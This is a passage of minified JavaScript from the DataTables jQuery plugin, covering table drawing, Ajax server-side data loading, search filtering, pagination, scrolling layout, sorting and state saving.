e=P(t,"aoPreDrawCallback","preDraw",[t]);if(-1!==L.inArray(!1,e))S(t,!1);else{var n=[],i=0,s=t.asStripeClasses,o=s.length,e=(t.aoOpenRows.length,t.oLanguage),a=t.iInitDisplayStart,r="ssp"==E(t),l=t.aiDisplay,a=(t.bDrawing=!0,a!==O&&-1!==a&&(t._iDisplayStart=!r&&a>=t.fnRecordsDisplay()?0:a,t.iInitDisplayStart=-1),t._iDisplayStart),c=t.fnDisplayEnd();if(t.bDeferLoading)t.bDeferLoading=!1,t.iDraw++,S(t,!1);else if(r){if(!t.bDestroying&&!Ct(t))return}else t.iDraw++;if(0!==l.length)for(var h=r?t.aoData.length:c,u=r?0:a;u<h;u++){var d,p=l[u],f=t.aoData[p],g=(null===f.nTr&>(t,p),f.nTr);0!==o&&(d=s[i%o],f._sRowStripe!=d)&&(L(g).removeClass(f._sRowStripe).addClass(d),f._sRowStripe=d),P(t,"aoRowCallback",null,[g,f._aData,i,u,p]),n.push(g),i++}else{r=e.sZeroRecords;1==t.iDraw&&"ajax"==E(t)?r=e.sLoadingRecords:e.sEmptyTable&&0===t.fnRecordsTotal()&&(r=e.sEmptyTable),n[0]=L("<tr/>",{class:o?s[0]:""}).append(L("<td />",{valign:"top",colSpan:x(t),class:t.oClasses.sRowEmpty}).html(r))[0]}P(t,"aoHeaderCallback","header",[L(t.nTHead).children("tr")[0],ht(t),a,c,l]),P(t,"aoFooterCallback","footer",[L(t.nTFoot).children("tr")[0],ht(t),a,c,l]);e=L(t.nTBody);e.children().detach(),e.append(L(n)),P(t,"aoDrawCallback","draw",[t]),t.bSorted=!1,t.bFiltered=!1,t.bDrawing=!1}}function c(t,e){var n=t.oFeatures,i=n.bSort,n=n.bFilter;i&&ie(t),n?It(t,t.oPreviousSearch):t.aiDisplay=t.aiDisplayMaster.slice(),!0!==e&&(t._iDisplayStart=0),t._drawHold=e,g(t),t._drawHold=!1}function yt(t){for(var e,n,i,s,o,a,r,l=t.oClasses,c=L(t.nTable),c=L("<div/>").insertBefore(c),h=t.oFeatures,u=L("<div/>",{id:t.sTableId+"_wrapper",class:l.sWrapper+(t.nTFoot?"":" "+l.sNoFooter)}),d=(t.nHolding=c[0],t.nTableWrapper=u[0],t.nTableReinsertBefore=t.nTable.nextSibling,t.sDom.split("")),p=0;p<d.length;p++){if(e=null,"<"==(n=d[p])){if(i=L("<div/>")[0],"'"==(s=d[p+1])||'"'==s){for(o="",a=2;d[p+a]!=s;)o+=d[p+a],a++;"H"==o?o=l.sJUIHeader:"F"==o&&(o=l.sJUIFooter),-1!=o.indexOf(".")?(r=o.split("."),i.id=r[0].substr(1,r[0].length-1),i.className=r[1]):"#"==o.charAt(0)?i.id=o.substr(1,o.length-1):i.className=o,p+=a}u.append(i),u=L(i)}else if(">"==n)u=u.parent();else if("l"==n&&h.bPaginate&&h.bLengthChange)e=Vt(t);else if("f"==n&&h.bFilter)e=Dt(t);else if("r"==n&&h.bProcessing)e=Xt(t);else if("t"==n)e=Jt(t);else if("i"==n&&h.bInfo)e=Nt(t);else if("p"==n&&h.bPaginate)e=qt(t);else if(0!==C.ext.feature.length)for(var f=C.ext.feature,g=0,m=f.length;g<m;g++)if(n==f[g].cFeature){e=f[g].fnInit(t);break}e&&((r=t.aanFeatures)[n]||(r[n]=[]),r[n].push(e),u.append(e))}c.replaceWith(u),t.nHolding=null}function St(t,e){var n,i,s,o,a,r,l,c,h,u,d=L(e).children("tr");for(t.splice(0,t.length),s=0,r=d.length;s<r;s++)t.push([]);for(s=0,r=d.length;s<r;s++)for(i=(n=d[s]).firstChild;i;){if("TD"==i.nodeName.toUpperCase()||"TH"==i.nodeName.toUpperCase())for(c=(c=+i.getAttribute("colspan"))&&0!=c&&1!=c?c:1,h=(h=+i.getAttribute("rowspan"))&&0!=h&&1!=h?h:1,l=function(t,e,n){for(var i=t[e];i[n];)n++;return n}(t,s,0),u=1==c,a=0;a<c;a++)for(o=0;o<h;o++)t[s+o][l+a]={cell:i,unique:u},t[s+o].nTr=n;i=i.nextSibling}}function _t(t,e,n){var i=[];n||(n=t.aoHeader,e&&St(n=[],e));for(var s=0,o=n.length;s<o;s++)for(var a=0,r=n[s].length;a<r;a++)!n[s][a].unique||i[a]&&t.bSortCellsTop||(i[a]=n[s][a].cell);return i}function wt(s,t,e){function n(t){P(s,null,"xhr",[s,t,s.jqXHR]),e(t)}P(s,"aoServerParams","serverParams",[t]),t&&L.isArray(t)&&(i={},o=/(.*?)\[\]$/,L.each(t,function(t,e){var n=e.name.match(o);n?(n=n[0],i[n]||(i[n]=[]),i[n].push(e.value)):i[e.name]=e.value}),t=i);var i,o,a,r=s.ajax,l=s.oInstance,c=(L.isPlainObject(r)&&r.data&&(c="function"==typeof(a=r.data)?a(t,s):a,t="function"==typeof a&&c?c:L.extend(!0,t,c),delete r.data),{data:t,success:function(t){var e=t.error||t.sError;e&&$(s,0,e),s.json=t,n(t)},dataType:"json",cache:!1,type:s.sServerMethod,error:function(t,e,n){var i=P(s,null,"xhr",[s,null,s.jqXHR]);-1===L.inArray(!0,i)&&("parsererror"==e?$(s,0,"Invalid JSON response",1):4===t.readyState&&$(s,0,"Ajax error",7)),S(s,!1)}});s.oAjaxData=t,P(s,null,"preXhr",[s,t]),s.fnServerData?s.fnServerData.call(l,s.sAjaxSource,L.map(t,function(t,e){return{name:e,value:t}}),n,s):s.sAjaxSource||"string"==typeof r?s.jqXHR=L.ajax(L.extend(c,{url:r||s.sAjaxSource})):"function"==typeof r?s.jqXHR=r.call(l,t,n,s):(s.jqXHR=L.ajax(L.extend(c,r)),r.data=a)}function Ct(e){return!e.bAjaxDataGet||(e.iDraw++,S(e,!0),wt(e,Tt(e),function(t){xt(e,t)}),!1)}function Tt(t){for(var e,n,i,s=t.aoColumns,o=s.length,a=t.oFeatures,r=t.oPreviousSearch,l=t.aoPreSearchCols,c=[],h=I(t),u=t._iDisplayStart,d=!1!==a.bPaginate?t._iDisplayLength:-1,p=function(t,e){c.push({name:t,value:e})},f=(p("sEcho",t.iDraw),p("iColumns",o),p("sColumns",R(s,"sName").join(",")),p("iDisplayStart",u),p("iDisplayLength",d),{draw:t.iDraw,columns:[],order:[],start:u,length:d,search:{value:r.sSearch,regex:r.bRegex}}),g=0;g<o;g++)n=s[g],i=l[g],e="function"==typeof n.mData?"function":n.mData,f.columns.push({data:e,name:n.sName,searchable:n.bSearchable,orderable:n.bSortable,search:{value:i.sSearch,regex:i.bRegex}}),p("mDataProp_"+g,e),a.bFilter&&(p("sSearch_"+g,i.sSearch),p("bRegex_"+g,i.bRegex),p("bSearchable_"+g,n.bSearchable)),a.bSort&&p("bSortable_"+g,n.bSortable);a.bFilter&&(p("sSearch",r.sSearch),p("bRegex",r.bRegex)),a.bSort&&(L.each(h,function(t,e){f.order.push({column:e.col,dir:e.dir}),p("iSortCol_"+t,e.col),p("sSortDir_"+t,e.dir)}),p("iSortingCols",h.length));u=C.ext.legacy.ajax;return null===u?t.sAjaxSource?c:f:u?c:f}function xt(t,n){function e(t,e){return n[t]!==O?n[t]:n[e]}var i=kt(t,n),s=e("sEcho","draw"),o=e("iTotalRecords","recordsTotal"),a=e("iTotalDisplayRecords","recordsFiltered");if(s){if(+s<t.iDraw)return;t.iDraw=+s}ut(t),t._iRecordsTotal=parseInt(o,10),t._iRecordsDisplay=parseInt(a,10);for(var r=0,l=i.length;r<l;r++)k(t,i[r]);t.aiDisplay=t.aiDisplayMaster.slice(),t.bAjaxDataGet=!1,g(t),t._bInitComplete||Ut(t,n),t.bAjaxDataGet=!0,S(t,!1)}function kt(t,e){t=L.isPlainObject(t.ajax)&&t.ajax.dataSrc!==O?t.ajax.dataSrc:t.sAjaxDataProp;return"data"===t?e.aaData||e[t]:""!==t?D(t)(e):e}function Dt(n){function t(){a.f;var t=this.value||"";t!=o.sSearch&&(It(n,{sSearch:t,bRegex:o.bRegex,bSmart:o.bSmart,bCaseInsensitive:o.bCaseInsensitive}),n._iDisplayStart=0,g(n))}var e=n.oClasses,i=n.sTableId,s=n.oLanguage,o=n.oPreviousSearch,a=n.aanFeatures,r='<input type="search" class="'+e.sFilterInput+'"/>',l=(l=s.sSearch).match(/_INPUT_/)?l.replace("_INPUT_",r):l+r,r=L("<div/>",{id:a.f?null:i+"_filter",class:e.sFilter}).append(L("<label/>").append(l)),e=null!==n.searchDelay?n.searchDelay:"ssp"===E(n)?400:0,c=L("input",r).val(o.sSearch).attr("placeholder",s.sSearchPlaceholder).on("keyup.DT search.DT input.DT paste.DT cut.DT",e?Qt(t,e):t).on("keypress.DT",function(t){if(13==t.keyCode)return!1}).attr("aria-controls",i);return L(n.nTable).on("search.dt.DT",function(t,e){if(n===e)try{c[0]!==b.activeElement&&c.val(o.sSearch)}catch(t){}}),r[0]}function It(t,e,n){function i(t){o.sSearch=t.sSearch,o.bRegex=t.bRegex,o.bSmart=t.bSmart,o.bCaseInsensitive=t.bCaseInsensitive}function s(t){return t.bEscapeRegex!==O?!t.bEscapeRegex:t.bRegex}var o=t.oPreviousSearch,a=t.aoPreSearchCols;if(st(t),"ssp"!=E(t)){Pt(t,e.sSearch,n,s(e),e.bSmart,e.bCaseInsensitive),i(e);for(var r=0;r<a.length;r++)Mt(t,a[r].sSearch,r,s(a[r]),a[r].bSmart,a[r].bCaseInsensitive);At(t)}else i(e);t.bFiltered=!0,P(t,null,"search",[t])}function At(t){for(var e,n,i=C.ext.search,s=t.aiDisplay,o=0,a=i.length;o<a;o++){for(var r=[],l=0,c=s.length;l<c;l++)n=s[l],e=t.aoData[n],i[o](t,e._aFilterData,n,e._aData,l)&&r.push(n);s.length=0,L.merge(s,r)}}function Mt(t,e,n,i,s,o){if(""!==e){for(var a,r=[],l=t.aiDisplay,c=Et(e,i,s,o),h=0;h<l.length;h++)a=t.aoData[l[h]]._aFilterData[n],c.test(a)&&r.push(l[h]);t.aiDisplay=r}}function Pt(t,e,n,i,s,o){var a,r,l=Et(e,i,s,o),i=t.oPreviousSearch.sSearch,s=t.aiDisplayMaster,c=[];if(0!==C.ext.search.length&&(n=!0),o=Ft(t),e.length<=0)t.aiDisplay=s.slice();else{for((o||n||i.length>e.length||0!==e.indexOf(i)||t.bSorted)&&(t.aiDisplay=s.slice()),a=t.aiDisplay,r=0;r<a.length;r++)l.test(t.aoData[a[r]]._sFilterRow)&&c.push(a[r]);t.aiDisplay=c}}function Et(t,e,n,i){return t=e?t:Lt(t),n&&(t="^(?=.*?"+L.map(t.match(/"[^"]+"|[^ ]+/g)||[""],function(t){var e;return(t='"'===t.charAt(0)?(e=t.match(/^"(.*)"$/))?e[1]:t:t).replace('"',"")}).join(")(?=.*?")+").*$"),new RegExp(t,i?"i":"")}var Lt=C.util.escapeRegex,Ot=L("<div>")[0],Rt=Ot.textContent!==O;function Ft(t){for(var e,n,i,s,o,a,r=t.aoColumns,l=C.ext.type.search,c=!1,h=0,u=t.aoData.length;h<u;h++)if(!(a=t.aoData[h])._aFilterData){for(s=[],n=0,i=r.length;n<i;n++)(e=r[n]).bSearchable?(o=y(t,h,n,"filter"),"string"!=typeof(o=null===(o=l[e.sType]?l[e.sType](o):o)?"":o)&&o.toString&&(o=o.toString())):o="",o.indexOf&&-1!==o.indexOf("&")&&(Ot.innerHTML=o,o=Rt?Ot.textContent:Ot.innerText),o.replace&&(o=o.replace(/[\r\n]/g,"")),s.push(o);a._aFilterData=s,a._sFilterRow=s.join(" "),c=!0}return c}function jt(t){return{search:t.sSearch,smart:t.bSmart,regex:t.bRegex,caseInsensitive:t.bCaseInsensitive}}function Ht(t){return{sSearch:t.search,bSmart:t.smart,bRegex:t.regex,bCaseInsensitive:t.caseInsensitive}}function Nt(t){var e=t.sTableId,n=t.aanFeatures.i,i=L("<div/>",{class:t.oClasses.sInfo,id:n?null:e+"_info"});return n||(t.aoDrawCallback.push({fn:$t,sName:"information"}),i.attr("role","status").attr("aria-live","polite"),L(t.nTable).attr("aria-describedby",e+"_info")),i[0]}function $t(t){var e,n,i,s,o,a,r=t.aanFeatures.i;0!==r.length&&(a=t.oLanguage,e=t._iDisplayStart+1,n=t.fnDisplayEnd(),i=t.fnRecordsTotal(),o=(s=t.fnRecordsDisplay())?a.sInfo:a.sInfoEmpty,s!==i&&(o+=" "+a.sInfoFiltered),o=zt(t,o+=a.sInfoPostFix),null!==(a=a.fnInfoCallback)&&(o=a.call(t.oInstance,t,e,n,i,s,o)),L(r).html(o))}function zt(t,e){var n=t.fnFormatNumber,i=t._iDisplayStart+1,s=t._iDisplayLength,o=t.fnRecordsDisplay(),a=-1===s;return e.replace(/_START_/g,n.call(t,i)).replace(/_END_/g,n.call(t,t.fnDisplayEnd())).replace(/_MAX_/g,n.call(t,t.fnRecordsTotal())).replace(/_TOTAL_/g,n.call(t,o)).replace(/_PAGE_/g,n.call(t,a?1:Math.ceil(i/s))).replace(/_PAGES_/g,n.call(t,a?1:Math.ceil(o/s)))}function Wt(n){var i,t,e,s=n.iInitDisplayStart,o=n.aoColumns,a=n.oFeatures,r=n.bDeferLoading;if(n.bInitialised){for(yt(n),vt(n),bt(n,n.aoHeader),bt(n,n.aoFooter),S(n,!0),a.bAutoWidth&&Kt(n),i=0,t=o.length;i<t;i++)(e=o[i]).sWidth&&(e.nTh.style.width=N(e.sWidth));P(n,null,"preInit",[n]),c(n);a=E(n);"ssp"==a&&!r||("ajax"==a?wt(n,[],function(t){var e=kt(n,t);for(i=0;i<e.length;i++)k(n,e[i]);n.iInitDisplayStart=s,c(n),S(n,!1),Ut(n,t)}):(S(n,!1),Ut(n)))}else setTimeout(function(){Wt(n)},200)}function Ut(t,e){t._bInitComplete=!0,(e||t.oInit.aaData)&&F(t),P(t,null,"plugin-init",[t,e]),P(t,"aoInitComplete","init",[t,e])}function Bt(t,e){e=parseInt(e,10);t._iDisplayLength=e,fe(t),P(t,null,"length",[t,e])}function Vt(i){for(var t=i.oClasses,e=i.sTableId,n=i.aLengthMenu,s=L.isArray(n[0]),o=s?n[0]:n,a=s?n[1]:n,r=L("<select/>",{name:e+"_length","aria-controls":e,class:t.sLengthSelect}),l=0,c=o.length;l<c;l++)r[0][l]=new Option("number"==typeof a[l]?i.fnFormatNumber(a[l]):a[l],o[l]);var h=L("<div><label/></div>").addClass(t.sLength);return i.aanFeatures.l||(h[0].id=e+"_length"),h.children().append(i.oLanguage.sLengthMenu.replace("_MENU_",r[0].outerHTML)),L("select",h).val(i._iDisplayLength).on("change.DT",function(t){Bt(i,L(this).val()),g(i)}),L(i.nTable).on("length.dt.DT",function(t,e,n){i===e&&L("select",h).val(n)}),h[0]}function qt(t){function h(t){g(t)}var e=t.sPaginationType,u=C.ext.pager[e],d="function"==typeof u,e=L("<div/>").addClass(t.oClasses.sPaging+e)[0],p=t.aanFeatures;return d||u.fnInit(t,e,h),p.p||(e.id=t.sTableId+"_paginate",t.aoDrawCallback.push({fn:function(t){if(d)for(var e=t._iDisplayStart,n=t._iDisplayLength,i=t.fnRecordsDisplay(),s=-1===n,o=s?0:Math.ceil(e/n),a=s?1:Math.ceil(i/n),r=u(o,a),l=0,c=p.p.length;l<c;l++)ge(t,"pageButton")(t,p.p[l],l,r,o,a);else u.fnUpdate(t,h)},sName:"pagination"})),e}function Gt(t,e,n){var i=t._iDisplayStart,s=t._iDisplayLength,o=t.fnRecordsDisplay(),o=(0===o||-1===s?i=0:"number"==typeof e?o<(i=e*s)&&(i=0):"first"==e?i=0:"previous"==e?(i=0<=s?i-s:0)<0&&(i=0):"next"==e?i+s<o&&(i+=s):"last"==e?i=Math.floor((o-1)/s)*s:$(t,0,"Unknown paging action: "+e,5),t._iDisplayStart!==i);return t._iDisplayStart=i,o&&(P(t,null,"page",[t]),n)&&g(t),o}function Xt(t){return L("<div/>",{id:t.aanFeatures.r?null:t.sTableId+"_processing",class:t.oClasses.sProcessing}).html(t.oLanguage.sProcessing).insertBefore(t.nTable)[0]}function S(t,e){t.oFeatures.bProcessing&&L(t.aanFeatures.r).css("display",e?"block":"none"),P(t,null,"processing",[t,e])}function Jt(t){var e,n,i,s,o,a,r,l,c,h,u,d,p=L(t.nTable),f=(p.attr("role","grid"),t.oScroll);return""===f.sX&&""===f.sY?t.nTable:(e=f.sX,n=f.sY,i=t.oClasses,o=(s=p.children("caption")).length?s[0]._captionSide:null,l=L(p[0].cloneNode(!1)),a=L(p[0].cloneNode(!1)),c=function(t){return t?N(t):null},(r=p.children("tfoot")).length||(r=null),l=L(u="<div/>",{class:i.sScrollWrapper}).append(L(u,{class:i.sScrollHead}).css({overflow:"hidden",position:"relative",border:0,width:e?c(e):"100%"}).append(L(u,{class:i.sScrollHeadInner}).css({"box-sizing":"content-box",width:f.sXInner||"100%"}).append(l.removeAttr("id").css("margin-left",0).append("top"===o?s:null).append(p.children("thead"))))).append(L(u,{class:i.sScrollBody}).css({position:"relative",overflow:"auto",width:c(e)}).append(p)),r&&l.append(L(u,{class:i.sScrollFoot}).css({overflow:"hidden",border:0,width:e?c(e):"100%"}).append(L(u,{class:i.sScrollFootInner}).append(a.removeAttr("id").css("margin-left",0).append("bottom"===o?s:null).append(p.children("tfoot"))))),c=l.children(),h=c[0],u=c[1],d=r?c[2]:null,e&&L(u).on("scroll.DT",function(t){var e=this.scrollLeft;h.scrollLeft=e,r&&(d.scrollLeft=e)}),L(u).css(n&&f.bCollapse?"max-height":"height",n),t.nScrollHead=h,t.nScrollBody=u,t.nScrollFoot=d,t.aoDrawCallback.push({fn:Zt,sName:"scrolling"}),l[0])}function Zt(n){function t(t){(t=t.style).paddingTop="0",t.paddingBottom="0",t.borderTopWidth="0",t.borderBottomWidth="0",t.height=0}var e,i,s,o,a,r=n.oScroll,l=r.sX,c=r.sXInner,h=r.sY,r=r.iBarWidth,u=L(n.nScrollHead),d=u[0].style,p=u.children("div"),f=p[0].style,p=p.children("table"),g=n.nScrollBody,m=L(g),v=g.style,b=L(n.nScrollFoot).children("div"),y=b.children("table"),S=L(n.nTHead),_=L(n.nTable),w=_[0],C=w.style,T=n.nTFoot?L(n.nTFoot):null,x=n.oBrowser,k=x.bScrollOversize,D=R(n.aoColumns,"nTh"),I=[],A=[],M=[],P=[],E=g.scrollHeight>g.clientHeight;n.scrollBarVis!==E&&n.scrollBarVis!==O?(n.scrollBarVis=E,F(n)):(n.scrollBarVis=E,_.children("thead, tfoot").remove(),T&&(E=T.clone().prependTo(_),a=T.find("tr"),i=E.find("tr")),E=S.clone().prependTo(_),S=S.find("tr"),e=E.find("tr"),E.find("th, td").removeAttr("tabindex"),l||(v.width="100%",u[0].style.width="100%"),L.each(_t(n,E),function(t,e){s=j(n,t),e.style.width=n.aoColumns[s].sWidth}),T&&H(function(t){t.style.width=""},i),u=_.outerWidth(),""===l?(C.width="100%",k&&(_.find("tbody").height()>g.offsetHeight||"scroll"==m.css("overflow-y"))&&(C.width=N(_.outerWidth()-r)),u=_.outerWidth()):""!==c&&(C.width=N(c),u=_.outerWidth()),H(t,e),H(function(t){M.push(t.innerHTML),I.push(N(L(t).css("width")))},e),H(function(t,e){-1!==L.inArray(t,D)&&(t.style.width=I[e])},S),L(e).height(0),T&&(H(t,i),H(function(t){P.push(t.innerHTML),A.push(N(L(t).css("width")))},i),H(function(t,e){t.style.width=A[e]},a),L(i).height(0)),H(function(t,e){t.innerHTML='<div class="dataTables_sizing">'+M[e]+"</div>",t.childNodes[0].style.height="0",t.childNodes[0].style.overflow="hidden",t.style.width=I[e]},e),T&&H(function(t,e){t.innerHTML='<div class="dataTables_sizing">'+P[e]+"</div>",t.childNodes[0].style.height="0",t.childNodes[0].style.overflow="hidden",t.style.width=A[e]},i),_.outerWidth()<u?(o=g.scrollHeight>g.offsetHeight||"scroll"==m.css("overflow-y")?u+r:u,k&&(g.scrollHeight>g.offsetHeight||"scroll"==m.css("overflow-y"))&&(C.width=N(o-r)),""!==l&&""===c||$(n,1,"Possible column misalignment",6)):o="100%",v.width=N(o),d.width=N(o),T&&(n.nScrollFoot.style.width=N(o)),h||k&&(v.height=N(w.offsetHeight+r)),E=_.outerWidth(),p[0].style.width=N(E),f.width=N(E),S=_.height()>g.clientHeight||"scroll"==m.css("overflow-y"),f[a="padding"+(x.bScrollbarLeft?"Left":"Right")]=S?r+"px":"0px",T&&(y[0].style.width=N(E),b[0].style.width=N(E),b[0].style[a]=S?r+"px":"0px"),_.children("colgroup").insertBefore(_.children("thead")),m.scroll(),!n.bSorted&&!n.bFiltered||n._drawHold||(g.scrollTop=0))}function H(t,e,n){for(var i,s,o=0,a=0,r=e.length;a<r;){for(i=e[a].firstChild,s=n?n[a].firstChild:null;i;)1===i.nodeType&&(n?t(i,s,o):t(i,o),o++),i=i.nextSibling,s=n?s.nextSibling:null;a++}}var Yt=/<.*?>/g;function Kt(t){var e,n,i=t.nTable,s=t.aoColumns,o=t.oScroll,a=o.sY,r=o.sX,o=o.sXInner,l=s.length,c=it(t,"bVisible"),h=L("th",t.nTHead),u=i.getAttribute("width"),d=i.parentNode,p=!1,f=t.oBrowser,g=f.bScrollOversize,m=i.style.width;for(m&&-1!==m.indexOf("%")&&(u=m),_=0;_<c.length;_++)null!==(e=s[c[_]]).sWidth&&(e.sWidth=te(e.sWidthOrig,d),p=!0);if(g||!p&&!r&&!a&&l==x(t)&&l==h.length)for(_=0;_<l;_++){var v=j(t,_);null!==v&&(s[v].sWidth=N(h.eq(_).width()))}else{var m=L(i).clone().css("visibility","hidden").removeAttr("id"),b=(m.find("tbody tr").remove(),L("<tr/>").appendTo(m.find("tbody")));for(m.find("thead, tfoot").remove(),m.append(L(t.nTHead).clone()).append(L(t.nTFoot).clone()),m.find("tfoot th, tfoot td").css("width",""),h=_t(t,m.find("thead")[0]),_=0;_<c.length;_++)e=s[c[_]],h[_].style.width=null!==e.sWidthOrig&&""!==e.sWidthOrig?N(e.sWidthOrig):"",e.sWidthOrig&&r&&L(h[_]).append(L("<div/>").css({width:e.sWidthOrig,margin:0,padding:0,border:0,height:1}));if(t.aoData.length)for(_=0;_<c.length;_++)e=s[n=c[_]],L(ee(t,n)).clone(!1).append(e.sContentPadding).appendTo(b);L("[name]",m).removeAttr("name");for(var y=L("<div/>").css(r||a?{position:"absolute",top:0,left:0,height:1,right:0,overflow:"hidden"}:{}).append(m).appendTo(d),S=(r&&o?m.width(o):r?(m.css("width","auto"),m.removeAttr("width"),m.width()<d.clientWidth&&u&&m.width(d.clientWidth)):a?m.width(d.clientWidth):u&&m.width(u),0),_=0;_<c.length;_++){var w=L(h[_]),C=w.outerWidth()-w.width(),w=f.bBounding?Math.ceil(h[_].getBoundingClientRect().width):w.outerWidth();S+=w,s[c[_]].sWidth=N(w-C)}i.style.width=N(S),y.remove()}u&&(i.style.width=N(u)),!u&&!r||t._reszEvt||(o=function(){L(W).on("resize.DT-"+t.sInstance,Qt(function(){F(t)}))},g?setTimeout(o,1e3):o(),t._reszEvt=!0)}var Qt=C.util.throttle;function te(t,e){return t?(e=(t=L("<div/>").css("width",N(t)).appendTo(e||b.body))[0].offsetWidth,t.remove(),e):0}function ee(t,e){var n,i=ne(t,e);return i<0?null:(n=t.aoData[i]).nTr?n.anCells[e]:L("<td/>").html(y(t,i,e,"display"))[0]}function ne(t,e){for(var n,i=-1,s=-1,o=0,a=t.aoData.length;o<a;o++)(n=(n=(n=y(t,o,e,"display")+"").replace(Yt,"")).replace(/ /g," ")).length>i&&(i=n.length,s=o);return s}function N(t){return null===t?"0px":"number"==typeof t?t<0?"0px":t+"px":t.match(/\d$/)?t+"px":t}function I(t){function e(t){t.length&&!L.isArray(t[0])?p.push(t):L.merge(p,t)}var n,i,s,o,a,r,l,c=[],h=t.aoColumns,u=t.aaSortingFixed,d=L.isPlainObject(u),p=[];for(L.isArray(u)&&e(u),d&&u.pre&&e(u.pre),e(t.aaSorting),d&&u.post&&e(u.post),n=0;n<p.length;n++)for(s=(o=h[l=p[n][i=0]].aDataSort).length;i<s;i++)r=h[a=o[i]].sType||"string",p[n]._idx===O&&(p[n]._idx=L.inArray(p[n][1],h[a].asSorting)),c.push({src:l,col:a,dir:p[n][1],index:p[n]._idx,type:r,formatter:C.ext.type.order[r+"-pre"]});return c}function ie(t){var e,n,i,s,h,u=[],c=C.ext.type.order,d=t.aoData,o=(t.aoColumns,0),a=t.aiDisplayMaster;for(st(t),e=0,n=(h=I(t)).length;e<n;e++)(s=h[e]).formatter&&o++,le(t,s.col);if("ssp"!=E(t)&&0!==h.length){for(e=0,i=a.length;e<i;e++)u[a[e]]=e;o===h.length?a.sort(function(t,e){for(var n,i,s,o,a=h.length,r=d[t]._aSortData,l=d[e]._aSortData,c=0;c<a;c++)if(0!=(s=(n=r[(o=h[c]).col])<(i=l[o.col])?-1:i<n?1:0))return"asc"===o.dir?s:-s;return(n=u[t])<(i=u[e])?-1:i<n?1:0}):a.sort(function(t,e){for(var n,i,s,o=h.length,a=d[t]._aSortData,r=d[e]._aSortData,l=0;l<o;l++)if(n=a[(s=h[l]).col],i=r[s.col],0!==(s=(c[s.type+"-"+s.dir]||c["string-"+s.dir])(n,i)))return s;return(n=u[t])<(i=u[e])?-1:i<n?1:0})}t.bSorted=!0}function se(t){for(var e=t.aoColumns,n=I(t),i=t.oLanguage.oAria,s=0,o=e.length;s<o;s++){var a=e[s],r=a.asSorting,l=a.sTitle.replace(/<.*?>/g,""),c=a.nTh;c.removeAttribute("aria-sort"),a=a.bSortable?l+("asc"===(0<n.length&&n[0].col==s&&(c.setAttribute("aria-sort","asc"==n[0].dir?"ascending":"descending"),r[n[0].index+1])||r[0])?i.sSortAscending:i.sSortDescending):l,c.setAttribute("aria-label",a)}}function oe(t,e,n,i){function s(t,e){var n=t._idx;return(n=n===O?L.inArray(t[1],l):n)+1<l.length?n+1:e?null:0}var o,a=t.aoColumns[e],r=t.aaSorting,l=a.asSorting;"number"==typeof r[0]&&(r=t.aaSorting=[r]),n&&t.oFeatures.bSortMulti?-1!==(a=L.inArray(e,R(r,"0")))?null===(o=null===(o=s(r[a],!0))&&1===r.length?0:o)?r.splice(a,1):(r[a][1]=l[o],r[a]._idx=o):(r.push([e,l[0],0]),r[r.length-1]._idx=0):r.length&&r[0][0]==e?(o=s(r[0]),r.length=1,r[0][1]=l[o],r[0]._idx=o):(r.length=0,r.push([e,l[0]]),r[0]._idx=0),c(t),"function"==typeof i&&i(t)}function ae(e,t,n,i){var s=e.aoColumns[n];pe(t,{},function(t){!1!==s.bSortable&&(e.oFeatures.bProcessing?(S(e,!0),setTimeout(function(){oe(e,n,t.shiftKey,i),"ssp"!==E(e)&&S(e,!1)},0)):oe(e,n,t.shiftKey,i))})}function re(t){var e,n,i,s=t.aLastSort,o=t.oClasses.sSortColumn,a=I(t),r=t.oFeatures;if(r.bSort&&r.bSortClasses){for(e=0,n=s.length;e<n;e++)i=s[e].src,L(R(t.aoData,"anCells",i)).removeClass(o+(e<2?e+1:3));for(e=0,n=a.length;e<n;e++)i=a[e].src,L(R(t.aoData,"anCells",i)).addClass(o+(e<2?e+1:3))}t.aLastSort=a}function le(t,e){for(var n,i,s,o=t.aoColumns[e],a=C.ext.order[o.sSortDataType],r=(a&&(n=a.call(t.oInstance,t,e,h(t,e))),C.ext.type.order[o.sType+"-pre"]),l=0,c=t.aoData.length;l<c;l++)(i=t.aoData[l])._aSortData||(i._aSortData=[]),i._aSortData[e]&&!a||(s=a?n[l]:y(t,l,e,"sort"),i._aSortData[e]=r?r(s):s)}function ce(n){var t;n.oFeatures.bStateSave&&!n.bDestroying&&(t={time:+new Date,start:n._iDisplayStart,length:n._iDisplayLength,order:L.extend(!0,[],n.aaSorting),search:jt(n.oPreviousSearch),columns:L.map(n.aoColumns,function(t,e){return{visible:t.bVisible,search:jt(n.aoPreSearchCols[e])}})},P(n,"aoStateSaveParams","stateSaveParams",[n,t]),n.oSavedState=t,n.fnStateSaveCallback.call(n.oInstance,n,t))}function he(i,t,s){function e(t){if(t&&t.time){var e=P(i,"aoStateLoadParams","stateLoadParams",[i,t]);if(-1===L.inArray(!1,e)){e=i.iStateDuration;if(!(0<e&&t.time<+new Date-1e3*e||t.columns&&r.length!==t.columns.length)){if(i.oLoadedState=L.extend(!0,{},t),t.start!==O&&(i._iDisplayStart=t.start,i.iInitDisplayStart=t.start),t.length!==O&&(i._iDisplayLength=t.length),t.order!==O&&(i.aaSorting=[],L.each(t.order,function(t,e){i.aaSorting.push(e[0]>=r.length?[0,e[1]]:e)})),t.search!==O&&L.extend(i.oPreviousSearch,Ht(t.search)),t.columns)for(o=0,a=t.columns.length;o<a;o++){var n=t.columns[o];n.visible!==O&&(r[o].bVisible=n.visible),n.search!==O&&L.extend(i.aoPreSearchCols[o],Ht(n.search))}P(i,"aoStateLoaded","stateLoaded",[i,t])}}}s()}var o,a,n,r=i.aoColumns;i.oFeatures.bStateSave?(n=i.fnStateLoadCallback.call(i.oInstance,i,e))!==O&&e(n):s()}function ue(t){var e=C.settings,t=L.inArray(t,R(e,"nTable"));return-1!==t?e[t]:null}function $(t,e,n,i){if(n="DataTables warning: "+(t?"table id="+t.sTableId+" - ":"")+n,i&&(n+=". For more information about this error, please see http://datatables.net/tn/"+i),e)W.console&&console.log&&console.log(n);else{e=C.ext,e=e.sErrMode||e.errMode;if(t&&P(t,null,"error",[t,i,n]),"alert"==e)alert(n);else{if("throw"==e)throw new Error(n);"function"==typeof e&&e(t,i,n)}}}function A(n,i,t,e){L.isArray(t)?L.each(t,function(t,e){L.isArray(e)?A(n,i,e[0],e[1]):A(n,i,e)}):(e===O&&(e=t),i[t]!==O&&(n[e]=i[t]))}function de(t,e,n){var i,s;for(s in 